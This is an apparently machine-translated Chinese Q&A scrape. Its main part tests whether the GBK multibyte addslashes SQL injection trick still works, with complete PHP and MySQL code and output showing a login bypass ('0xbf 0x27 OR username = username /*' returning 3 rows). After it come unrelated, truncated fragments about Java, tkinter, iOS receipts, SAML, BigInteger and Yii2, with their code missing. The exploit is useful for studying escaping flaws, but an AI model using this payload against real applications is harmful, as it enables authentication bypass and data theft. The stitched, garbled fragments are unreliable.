我知道“参数化查询”是圣杯。 这不是主题。
有一篇旧文章,似乎是使用addslashes时与sql注入相关的所有讨论的参考。
这是链接:http : //shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-
escape-string
我的问题是:这个概念证明是否仍然正确?我尝试对其进行测试,但是addlashes似乎可以正常工作。有人真的尝试过这个吗,还是所有人都认为这是理所当然的?
mysql日志显示此查询
SELECT * FROM users
WHERE username = ‘�' OR username = username /*’
AND password = ‘guess’
很明显,这个技巧是行不通的
更新 :请阅读我要问的问题。我不在乎最佳实践,我不需要替代方案,我只需要确保它仍然有效即可。
更新 :我也想提醒一下,此POC适用于GBK,SJIS或BIG5等字符集,每个人似乎都忘记了这一点。说斜线不安全时,使标题听起来有些吓人。
解决方案 :就我而言,MySQL 5.5.9-log版本不允许未以/ *形式出现的内联注释。如果我使用-或#,则可以使用。
看来对我有用。
MySQL的:
mysql> select version();
+---------------------+
| version() |
+---------------------+
| 5.0.45-community-nt |
+---------------------+
1 row in set (0.00 sec)
mysql> CREATE TABLE users (
-> username VARCHAR(32) CHARACTER SET GBK,
-> password VARCHAR(32) CHARACTER SET GBK,
-> PRIMARY KEY (username)
-> );
Query OK, 0 rows affected (0.08 sec)
mysql> insert into users SET username='ewrfg', password='wer44';
Query OK, 1 row affected (0.02 sec)
mysql> insert into users SET username='ewrfg2', password='wer443';
Query OK, 1 row affected (0.03 sec)
mysql> insert into users SET username='ewrfg4', password='wer4434';
Query OK, 1 row affected (0.00 sec)
PHP:
<pre><?php
echo "PHP version: ".PHP_VERSION."\n";
mysql_connect();
mysql_select_db("test");
mysql_query("SET NAMES GBK");
$_POST['username'] = chr(0xbf).chr(0x27).' OR username = username /*';
$_POST['password'] = 'guess';
$username = addslashes($_POST['username']);
$password = addslashes($_POST['password']);
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysql_query($sql) or trigger_error(mysql_error().$sql);
var_dump($username);
var_dump(mysql_num_rows($result));
var_dump(mysql_client_encoding());
$username = mysql_real_escape_string($_POST['username']);
$password = mysql_real_escape_string($_POST['password']);
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysql_query($sql) or trigger_error(mysql_error().$sql);
var_dump($username);
var_dump(mysql_num_rows($result));
var_dump(mysql_client_encoding());
mysql_set_charset("GBK");
$username = mysql_real_escape_string($_POST['username']);
$password = mysql_real_escape_string($_POST['password']);
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysql_query($sql) or trigger_error(mysql_error().$sql);
var_dump($username);
var_dump(mysql_num_rows($result));
var_dump(mysql_client_encoding());
结果:
PHP version: 5.3.3
string(29) "ї\' OR username = username /*"
int(3)
string(6) "latin1"
string(29) "ї\' OR username = username /*"
int(3)
string(6) "latin1"
string(30) "\ї\' OR username = username /*"
int(0)
string(3) "gbk"
结论:
对于那些高喊“您应该使用mres而不是加号!”的人来说,第二个结果将是最令人惊讶的。
问题内容: 是否仍然有效?我想知道本书中描述的思想,概念和实现是否仍与最新的Java版本兼容。 我问是因为最新版本是2006年完成的。 问题答案: 是的,在我看来仍然有效。从6到7的变化不大。Fork- join是一项新功能,非常适合分治法式的问题。但是本书中所有现有的东西,例如同步,易失性,servlet,仍然非常有效。
我对Python相当陌生,刚刚开始玩tkinter。运行下面的代码,我得到一个属性错误(对象没有属性)。但是据我所知,这个错误对窗口的功能没有影响,它仍然在按钮上。窗口仍然会出现,所有按钮的行为都符合预期。 搜索我可以看到其他人有这个错误,但是没有一个答案解决了我的问题。希望你能帮忙。 守则: 回调;
问题内容: 每当我打开应用程序时,我都想检查自动续订订阅状态。 这是为了确保用户仍订阅了该服务。我该如何实现? 有什么想法吗?谢谢 PS:我正在使用 问题答案: 这是几种进行收据验证的方法,以检查是否已将用户授予订阅。这是正确执行此操作的两种方法: 如此处所写,在本地进行收据验证。 远程执行收货验证,因为它是写在这里。提到不应将收据发送到应用程序内的App Store。简短的摘要: 您的应用会将收
我已经使用Spring Security和SAML实现了SSO。以下是目前为我工作的内容: 当我尝试访问SP上的任何资源时,如果我还没有登录,我会被重定向到我的IdP(在我的情况下是idp.ssocircle.com)。在IDP成功验证后,我会被重定向回SP,并授权传入的SAML响应并为相应的用户创建一个会话。到目前为止,一切都很酷!但是当我从IDP注销时(通过从idp.ssocircle.com
问题内容: 无论如何,有什么可以将价值转换为价值? 我尝试投射它,但是没有用。 问题答案: BigInteger用于保存任意精度的整数,而不是小数。您可以使用该类来容纳双人间。 通常,您不能将Java原语类型转换为另一个类。我知道的例外是扩展类,例如和包装器类,它们允许您将int值转换为Integer,依此类推。
我正在EclipseIDE中用Yii2开发一个项目。我无意中删除了vendor/yiisoft下的Yii2文件夹。但我的应用程序仍然像charme一样工作,它不会抛出任何异常。我使用Composer安装http://www.yiiframework.com/extension/yii2-improved-basic-template/.文件供应商/composer/autoload_psr4。ph